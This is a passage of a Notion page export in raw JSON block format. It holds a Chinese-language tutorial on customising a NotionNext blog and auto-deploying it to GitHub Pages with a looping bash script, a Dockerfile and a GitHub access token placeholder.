push\n\n#等待GitPage自动部署"]],"language":[["Bash"]]},"created_time":1705640523845,"last_edited_time":1705640727163,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"10e2b13c-bc4e-4e9e-bd87-54e52f3790ef":{"value":{"id":"10e2b13c-bc4e-4e9e-bd87-54e52f3790ef","type":"image","properties":{"size":[["94.2KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/d19ae0e1-5ceb-459d-8651-c84c52daa599/Untitled.png"]]},"format":{"block_width":1294,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/d19ae0e1-5ceb-459d-8651-c84c52daa599/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.3516228748068006,"block_preserve_scale":true},"created_time":1705640723356,"last_edited_time":1705640727124,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"file_ids":["d19ae0e1-5ceb-459d-8651-c84c52daa599"]}},"b5e101f9-29ce-4cbe-9051-a455fbfa12ea":{"value":{"id":"b5e101f9-29ce-4cbe-9051-a455fbfa12ea","type":"text","created_time":1705640501612,"last_edited_time":1705643611219,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"5040c940-a117-4c50-9ed5-bd7dfc5c7a7c":{"value":{"id":"5040c940-a117-4c50-9ed5-bd7dfc5c7a7c","type":"header","properties":{"title":[["美化"]]},"created_time":1705640501612,"last_edited_time":1705775518801,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"12eb9707-d557-4a4c-9ee9-8423754c863c":{"value":{"id":"12eb9707-d557-4a4c-9ee9-8423754c863c","type":"sub_header","properties":{"title":[["更换标题"]]},"created_time":1705643871067,"last_edited_time":1705643993614,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"e0c24ed4-6466-40fb-9355-e77528efa546":{"value":{"id":"e0c24ed4-6466-40fb-9355-e77528efa546","type":"text","properties":{"title":[["打开自己的notion页面,找到配置中心,把要自定义的全改了"]]},"created_time":1705643896337,"last_edited_time":1705644073882,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"7c9fba5b-528b-4d18-b9f9-4d5d644bc7f4":{"value":{"id":"7c9fba5b-528b-4d18-b9f9-4d5d644bc7f4","type":"image","properties":{"size":[["76.5KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/89307af5-25fa-4a3c-aa99-3987bf270a76/Untitled.png"]]},"format":{"block_width":718,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/89307af5-25fa-4a3c-aa99-3987bf270a76/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.9415041782729805,"block_preserve_scale":true},"created_time":1705644063778,"last_edited_time":1705644067807,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"file_ids":["89307af5-25fa-4a3c-aa99-3987bf270a76"]}},"f68a55bb-51a5-407c-86fe-101b87a984a8":{"value":{"id":"f68a55bb-51a5-407c-86fe-101b87a984a8","type":"text","properties":{"title":[["打开notionNext工程目录,找到blog.config.js,把想改的全改了"]]},"created_time":1705643696638,"last_edited_time":1705644147378,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"fa8a068e-1ee7-43ac-9c27-50fb204ab1de":{"value":{"id":"fa8a068e-1ee7-43ac-9c27-50fb204ab1de","type":"image","properties":{"size":[["397.9KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/f1ac2930-509b-4490-bf67-6c2ea549d176/Untitled.png"]]},"format":{"block_width":1748,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/f1ac2930-509b-4490-bf67-6c2ea549d176/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.7208237986270023,"block_preserve_scale":true},"created_time":1705644134200,"last_edited_time":1705644138423,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"file_ids":["f1ac2930-509b-4490-bf67-6c2ea549d176"]}},"c52418f1-f238-4e4f-92ae-676ea107de4f":{"value":{"id":"c52418f1-f238-4e4f-92ae-676ea107de4f","type":"text","created_time":1705643696638,"last_edited_time":1705644106044,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"7f2e7b2f-b461-4a91-808e-0fb77f22dc8a":{"value":{"id":"7f2e7b2f-b461-4a91-808e-0fb77f22dc8a","type":"sub_header","properties":{"title":[["自定义美化"]]},"created_time":1705644000462,"last_edited_time":1705644240301,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"a0844b1e-1198-4102-b122-6b3ea7184b02":{"value":{"id":"a0844b1e-1198-4102-b122-6b3ea7184b02","type":"quote","properties":{"title":[["我选择的是gitbook主题,年纪大了现在喜欢性冷淡风格的"]]},"created_time":1705644240299,"last_edited_time":1705644242684,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"9aee9707-8be2-4297-b520-4bf625987555":{"value":{"id":"9aee9707-8be2-4297-b520-4bf625987555","type":"text","created_time":1705644198411,"last_edited_time":1705644314115,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"0b64a55d-bf95-4fa9-9e44-435a74b6794e":{"value":{"id":"0b64a55d-bf95-4fa9-9e44-435a74b6794e","type":"text","properties":{"title":[["默认启动头像是height=28px,拉伸变形了,修改global.css"]]},"created_time":1705644198411,"last_edited_time":1705644393048,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"e887f9e4-fd50-4a98-8df4-a188b79eca45":{"value":{"id":"e887f9e4-fd50-4a98-8df4-a188b79eca45","type":"image","properties":{"size":[["59.9KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/b5af9148-c55d-46a4-87ac-9378594a4f2e/Untitled.png"]]},"format":{"block_width":934,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/b5af9148-c55d-46a4-87ac-9378594a4f2e/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.5438972162740899,"block_preserve_scale":true},"created_time":1705644309376,"last_edited_time":1705644312948,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"file_ids":["b5af9148-c55d-46a4-87ac-9378594a4f2e"]}},"3e8c7258-01bc-4109-8021-5d0dd9079b22":{"value":{"id":"3e8c7258-01bc-4109-8021-5d0dd9079b22","type":"text","created_time":1705644383541,"last_edited_time":1705644385322,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"56c7c669-d908-485a-b287-e3fb823d0efa":{"value":{"id":"56c7c669-d908-485a-b287-e3fb823d0efa","type":"text","properties":{"title":[["默认进来显示归档页面,注释gitbook主题下index.js部分代码,再修改config.js进来显示归档"]]},"created_time":1705644383541,"last_edited_time":1705644542897,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"5a7bd692-d0cb-44f6-a331-c41efd97ba46":{"value":{"id":"5a7bd692-d0cb-44f6-a331-c41efd97ba46","type":"image","properties":{"size":[["168.3KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/4e1ad663-0a35-4190-bf5a-2c6006c5c622/Untitled.png"]]},"format":{"block_width":1224,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/4e1ad663-0a35-4190-bf5a-2c6006c5c622/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.7843137254901961,"block_preserve_scale":true},"created_time":1705644445776,"last_edited_time":1705644449255,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"file_ids":["4e1ad663-0a35-4190-bf5a-2c6006c5c622"]}},"b1dc3a62-10f2-4a17-a6b8-3cd3235f668c":{"value":{"id":"b1dc3a62-10f2-4a17-a6b8-3cd3235f668c","type":"image","properties":{"size":[["81.4KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/91a701b9-28fe-4646-b25c-9ef6fa4b1776/Untitled.png"]]},"format":{"block_width":1090,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/91a701b9-28fe-4646-b25c-9ef6fa4b1776/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.45137614678899085,"block_preserve_scale":true},"created_time":1705644475072,"last_edited_time":1705644479010,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"file_ids":["91a701b9-28fe-4646-b25c-9ef6fa4b1776"]}},"6d6b97c1-1d36-4848-85cb-2759b1070f95":{"value":{"id":"6d6b97c1-1d36-4848-85cb-2759b1070f95","type":"text","created_time":1705640438204,"last_edited_time":1705644546135,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"4d2adebf-0523-4a9b-a0c1-cef677a2cdae":{"value":{"id":"4d2adebf-0523-4a9b-a0c1-cef677a2cdae","type":"text","properties":{"title":[["归档,分类,标签页面显示头像,同样修改gitbook主题下index.js部分代码"]]},"created_time":1705640438204,"last_edited_time":1705645054626,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"6375e8ed-e4d3-43d4-9758-396b026bc926":{"value":{"id":"6375e8ed-e4d3-43d4-9758-396b026bc926","type":"image","properties":{"size":[["94.2KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/288ad8f3-229e-469a-be3c-1af2c0d1a0a2/Untitled.png"]]},"format":{"block_width":2092,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/288ad8f3-229e-469a-be3c-1af2c0d1a0a2/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.2390057361376673,"block_preserve_scale":true},"created_time":1705644647465,"last_edited_time":1705644651496,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"file_ids":["288ad8f3-229e-469a-be3c-1af2c0d1a0a2"]}},"a872631e-d867-4905-8408-7ed0a3c02cc2":{"value":{"id":"a872631e-d867-4905-8408-7ed0a3c02cc2","type":"embed","format":{"block_width":1560,"block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.24871794871794872,"block_preserve_scale":true},"created_time":1705645874275,"last_edited_time":1705645877974,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"file_ids":["a3e1d405-4af3-4eee-8048-9ff34069c809"]}},"0174ca16-501d-463e-97f8-02d1068ae63f":{"value":{"id":"0174ca16-501d-463e-97f8-02d1068ae63f","type":"header","properties":{"title":[["自动化脚本编写"]]},"created_time":1705640438204,"last_edited_time":1705775523189,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"f952144c-08c3-4adf-8362-682836167eab":{"value":{"id":"f952144c-08c3-4adf-8362-682836167eab","type":"quote","properties":{"title":[["思路:sh脚本编写以上命令,termilal自动运行脚本容易误杀,想着用docker容器,因为我电脑只要开着,docker一定在线。容器启动就自动运行这个脚本,容器挂载NotionNext和GitPage仓库,这样修改起来方便,如果有云服务器迁移也方便。\n还有每次export之前记住移除rm ./NotionNext/public/sitemap.xml这个文件"]]},"created_time":1705640861519,"last_edited_time":1710868443561,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"619521b6-6468-479f-aba9-26d165b1d416":{"value":{"id":"619521b6-6468-479f-aba9-26d165b1d416","type":"text","created_time":1705641186994,"last_edited_time":1705641187162,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"f7c6f34a-1629-49e5-9609-3ea558b11f24":{"value":{"id":"f7c6f34a-1629-49e5-9609-3ea558b11f24","type":"sub_header","properties":{"title":[["目录结构"]]},"created_time":1705641186994,"last_edited_time":1705644700624,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"1b3e5361-0df6-49c2-a40c-32f123fd9cfb":{"value":{"id":"1b3e5361-0df6-49c2-a40c-32f123fd9cfb","type":"image","properties":{"size":[["60.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/ee22b56c-17ec-4d0c-9fcf-cbe10548c4c0/Untitled.png"]]},"format":{"block_width":1458,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/ee22b56c-17ec-4d0c-9fcf-cbe10548c4c0/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.20713305898491083,"block_preserve_scale":true},"created_time":1705641184071,"last_edited_time":1705641187373,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"file_ids":["ee22b56c-17ec-4d0c-9fcf-cbe10548c4c0"]}},"4b330d96-2943-4e6f-b263-d060afecba84":{"value":{"id":"4b330d96-2943-4e6f-b263-d060afecba84","type":"sub_header","properties":{"title":[["deploy脚本"]]},"created_time":1705640195450,"last_edited_time":1705644701913,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"75edd45c-01b6-42ad-a356-af57465bba9b":{"value":{"id":"75edd45c-01b6-42ad-a356-af57465bba9b","type":"code","properties":{"title":[["#!/bin/bash\n\nwhile true\ndo\n  echo '开始部署:'+$(date '+%Y-%m-%d %H:%M:%S')\n\n  rm ./NotionNext/public/sitemap.xml\n\n  cd ./NotionNext\n  yarn export\n\n  cp -rf ./out/* ../bothsavage.github.io\n\n  cd ../bothsavage.github.io\n  time=$(date '+%Y-%m-%d %H:%M:%S')\n  git add *\n  git commit -a -m \"auto $time\"\n  git push\n  echo '结束部署:'+\"auto $time\"\n  cd ..\n\n\t#休息20分钟\n  sleep 1200\ndone"]],"language":[["Bash"]]},"created_time":1705641232739,"last_edited_time":1705641250155,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"1614c8d3-bb33-4af5-8609-6cee2e2cda39":{"value":{"id":"1614c8d3-bb33-4af5-8609-6cee2e2cda39","type":"sub_header","properties":{"title":[["DokcerFile文件"]]},"created_time":1705640188050,"last_edited_time":1705644706664,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"9370f961-ddc1-4a0c-910d-b79bc2250eac":{"value":{"id":"9370f961-ddc1-4a0c-910d-b79bc2250eac","type":"code","properties":{"title":[["# Use an official Alpine runtime as a parent image\nFROM alpine:latest\n\n# Install necessary tools\nRUN apk add --no-cache bash git yarn curl\n\n# Set the working directory in the container to /app\nWORKDIR /app\n\n# Copy the deploy.sh file from your host to your current location.\nCOPY deploy.sh .\n\n# Add execute permissions to your script\nRUN chmod +x deploy.sh\n\nRUN git config --global user.email \"xxxx@163.com\"\nRUN git config --global user.name \"xxxx\"\n\n# Run your script when the container launches\nCMD [\"./deploy.sh\"]"]],"language":[["Bash"]]},"created_time":1705641273320,"last_edited_time":1705641305121,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"063f1942-4cba-4357-80a4-09313a3f0d07":{"value":{"id":"063f1942-4cba-4357-80a4-09313a3f0d07","type":"sub_header","properties":{"title":[["准备容器内GitPage推送权限"]]},"format":{"copied_from_pointer":{"id":"9369db5e-52eb-4c76-8f20-ee3937c65109","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705639082651,"last_edited_time":1705644938363,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"copied_from":"9369db5e-52eb-4c76-8f20-ee3937c65109"}},"daedf0cf-3d86-4bb7-ad20-e11040afcae2":{"value":{"id":"daedf0cf-3d86-4bb7-ad20-e11040afcae2","type":"text","properties":{"title":[["去这个页面选择创建新的token"]]},"created_time":1705644913708,"last_edited_time":1705644933761,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"1972b0e8-433f-4097-97ab-64cc8d19a50e":{"value":{"id":"1972b0e8-433f-4097-97ab-64cc8d19a50e","type":"text","properties":{"title":[["https://github.com/settings/tokens/new",[["a","https://github.com/settings/tokens/new"]]]]},"created_time":1705641565410,"last_edited_time":1705644910607,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"b8d7b2b2-fde3-4010-93a0-7af0f879685e":{"value":{"id":"b8d7b2b2-fde3-4010-93a0-7af0f879685e","type":"text","properties":{"title":[["勾选如下"]]},"created_time":1705644958128,"last_edited_time":1705644964116,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"78c44322-791d-4126-bc4f-2ea1e4fac3e3":{"value":{"id":"78c44322-791d-4126-bc4f-2ea1e4fac3e3","type":"image","properties":{"size":[["84.9KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/be1374b0-9f64-4d38-b843-d8eb0b388bed/Untitled.png"]]},"format":{"block_width":908,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/be1374b0-9f64-4d38-b843-d8eb0b388bed/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.6101321585903083,"block_preserve_scale":true},"created_time":1705644956370,"last_edited_time":1705644959894,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"file_ids":["be1374b0-9f64-4d38-b843-d8eb0b388bed"]}},"a53ee171-d741-4e49-8daf-df5e62f18d8d":{"value":{"id":"a53ee171-d741-4e49-8daf-df5e62f18d8d","type":"text","properties":{"title":[["再执行下面的命令,这样容器中就可以随意push到GitPage了"]]},"format":{"copied_from_pointer":{"id":"9369db5e-52eb-4c76-8f20-ee3937c65109","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705639082651,"last_edited_time":1705645043478,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"copied_from":"9369db5e-52eb-4c76-8f20-ee3937c65109"}},"0ab6df8c-8599-4cea-92cd-7f5059097ff8":{"value":{"id":"0ab6df8c-8599-4cea-92cd-7f5059097ff8","type":"code","properties":{"title":[["git remote remove origin\n\ngit remote add origin https://[TOKEN]@github.com[USER]/[REPO]"]],"language":[["Bash"]]},"created_time":1705645008157,"last_edited_time":1705645010536,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"9690bac2-76a6-4f23-9725-701322a573e5":{"value":{"id":"9690bac2-76a6-4f23-9725-701322a573e5","type":"sub_header","properties":{"title":[["搭建步骤"]]},"format":{"copied_from_pointer":{"id":"9369db5e-52eb-4c76-8f20-ee3937c65109","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705639082651,"last_edited_time":1705644966404,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"copied_from":"9369db5e-52eb-4c76-8f20-ee3937c65109"}},"e36d24e3-7992-4eb6-939a-fd11e1b53f06":{"value":{"id":"e36d24e3-7992-4eb6-939a-fd11e1b53f06","type":"code","properties":{"title":[["#切换到自己目录下\ncd /Users/xxxx/Documents/blog/\n#更改部署sh权限\nchmod 755 deploy.sh\n#构建docker镜像\ndocker build -t notion_git_sync .\n#运行容器\ndocker run -d -v /Users/xx/Documents/blog:/app --name notion_git_sync notion_git_sync"]],"language":[["Bash"]]},"created_time":1705641323138,"last_edited_time":1705641495242,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"b41d838b-6fbe-4d71-9722-dadacb382dcf":{"value":{"id":"b41d838b-6fbe-4d71-9722-dadacb382dcf","type":"sub_header","properties":{"title":[["验证"]]},"format":{"copied_from_pointer":{"id":"9369db5e-52eb-4c76-8f20-ee3937c65109","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705639082651,"last_edited_time":1705644711487,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"copied_from":"9369db5e-52eb-4c76-8f20-ee3937c65109"}},"130d2fea-5722-4d03-b8ad-e87108f5a4c8":{"value":{"id":"130d2fea-5722-4d03-b8ad-e87108f5a4c8","type":"image","properties":{"size":[["196.5KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/9a809d6d-6785-479f-a810-a93ae386dacf/Untitled.png"]]},"format":{"block_width":990,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/9a809d6d-6785-479f-a810-a93ae386dacf/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.5888888888888889,"block_preserve_scale":true},"created_time":1705641644301,"last_edited_time":1705641648144,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"file_ids":["9a809d6d-6785-479f-a810-a93ae386dacf"]}},"b7da95f3-dcd5-4fe4-8a6a-6a85a0dbf6fd":{"value":{"id":"b7da95f3-dcd5-4fe4-8a6a-6a85a0dbf6fd","type":"text","format":{"copied_from_pointer":{"id":"9369db5e-52eb-4c76-8f20-ee3937c65109","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705639082651,"last_edited_time":1705643356716,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"copied_from":"9369db5e-52eb-4c76-8f20-ee3937c65109"}},"b3324876-371f-4045-b072-9dbf1508458d":{"value":{"id":"b3324876-371f-4045-b072-9dbf1508458d","type":"header","properties":{"title":[["特别提醒"]]},"format":{"copied_from_pointer":{"id":"9369db5e-52eb-4c76-8f20-ee3937c65109","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705639082651,"last_edited_time":1705775531530,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true,"copied_from":"9369db5e-52eb-4c76-8f20-ee3937c65109"}},"761d38bd-740e-4f58-a2fe-b740adfb3bd5":{"value":{"id":"761d38bd-740e-4f58-a2fe-b740adfb3bd5","type":"bulleted_list","properties":{"title":[["自己notion的PageId最好不要对外暴露,因为文章是支持密码访问的"]]},"created_time":1705644738431,"last_edited_time":1705644777404,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"c5050e56-238a-43c9-a868-0b977934d7c9":{"value":{"id":"c5050e56-238a-43c9-a868-0b977934d7c9","type":"bulleted_list","properties":{"title":[["fork下来的NotionNext最好改成私有,避免泄漏关键信息"]]},"created_time":1705644777904,"last_edited_time":1705645150349,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"1eeb0e91-e622-4207-a487-f593e61cbafc":{"value":{"id":"1eeb0e91-e622-4207-a487-f593e61cbafc","type":"bulleted_list","properties":{"title":[["在github仓库中提前建好.nojekyll文件"]]},"created_time":1710868445911,"last_edited_time":1710868474053,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"b15058de-7c95-4b23-8f5c-4ec0f6f3f46a":{"value":{"id":"b15058de-7c95-4b23-8f5c-4ec0f6f3f46a","type":"bulleted_list","properties":{"title":[["每次export的时候要删除./NotionNext/public/sitemap.xml"]]},"created_time":1710868474242,"last_edited_time":1710868494254,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"728023af-c072-43d3-b5eb-b90e0f683d0e":{"value":{"id":"728023af-c072-43d3-b5eb-b90e0f683d0e","type":"text","created_time":1705645130737,"last_edited_time":1705645152364,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"9144d30d-d0cd-43c6-867b-4a5554268b55":{"value":{"id":"9144d30d-d0cd-43c6-867b-4a5554268b55","type":"header","properties":{"title":[["写到最后"]]},"created_time":1705645130737,"last_edited_time":1705645213985,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"b76e0a4c-8033-43c6-aef8-d5b147dcad2a":{"value":{"id":"b76e0a4c-8033-43c6-aef8-d5b147dcad2a","type":"column_list","content":["9ee864a2-7d8f-4168-bee6-379f4bf4b09b","05abb28a-ad68-45fa-a724-51a364a67d67","bdebad8d-342b-4e57-b82d-05d9b80dd49c"],"created_time":1705645477211,"last_edited_time":1705646150617,"parent_id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","parent_table":"block","alive":true}},"9ee864a2-7d8f-4168-bee6-379f4bf4b09b":{"value":{"id":"9ee864a2-7d8f-4168-bee6-379f4bf4b09b","type":"column","content":["e93ae513-6038-4c72-8688-b7320b41fb95"],"format":{"column_ratio":0.25},"created_time":1705645477211,"last_edited_time":1705651482475,"parent_id":"b76e0a4c-8033-43c6-aef8-d5b147dcad2a","parent_table":"block","alive":true}},"05abb28a-ad68-45fa-a724-51a364a67d67":{"value":{"id":"05abb28a-ad68-45fa-a724-51a364a67d67","type":"column","content":["ec882307-59f6-4b1b-882e-1d900daaa086","b2451af8-069a-4880-92d0-f4d3162f67cd"],"format":{"column_ratio":0.34601449275362306},"created_time":1705645706992,"last_edited_time":1705651479842,"parent_id":"b76e0a4c-8033-43c6-aef8-d5b147dcad2a","parent_table":"block","alive":true}},"bdebad8d-342b-4e57-b82d-05d9b80dd49c":{"value":{"id":"bdebad8d-342b-4e57-b82d-05d9b80dd49c","type":"column","content":["2606f9d4-240f-4a91-8267-c2b28f18fe2e"],"format":{"column_ratio":0.4039855072463767},"created_time":1705646150615,"last_edited_time":1705646164501,"parent_id":"b76e0a4c-8033-43c6-aef8-d5b147dcad2a","parent_table":"block","alive":true}},"e93ae513-6038-4c72-8688-b7320b41fb95":{"value":{"id":"e93ae513-6038-4c72-8688-b7320b41fb95","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"block_preserve_scale":true},"created_time":1705651441724,"last_edited_time":1705651474665,"parent_id":"9ee864a2-7d8f-4168-bee6-379f4bf4b09b","parent_table":"block","alive":true,"file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"ec882307-59f6-4b1b-882e-1d900daaa086":{"value":{"id":"ec882307-59f6-4b1b-882e-1d900daaa086","type":"text","properties":{"title":[["\n",[["i"]]],["        是在往前走就好",[["i"],["b"]]],["\n        ",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"created_time":1705645240676,"last_edited_time":1705651754731,"parent_id":"05abb28a-ad68-45fa-a724-51a364a67d67","parent_table":"block","alive":true}},"2606f9d4-240f-4a91-8267-c2b28f18fe2e":{"value":{"id":"2606f9d4-240f-4a91-8267-c2b28f18fe2e","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"block_preserve_scale":true},"created_time":1705645618198,"last_edited_time":1705646150617,"parent_id":"bdebad8d-342b-4e57-b82d-05d9b80dd49c","parent_table":"block","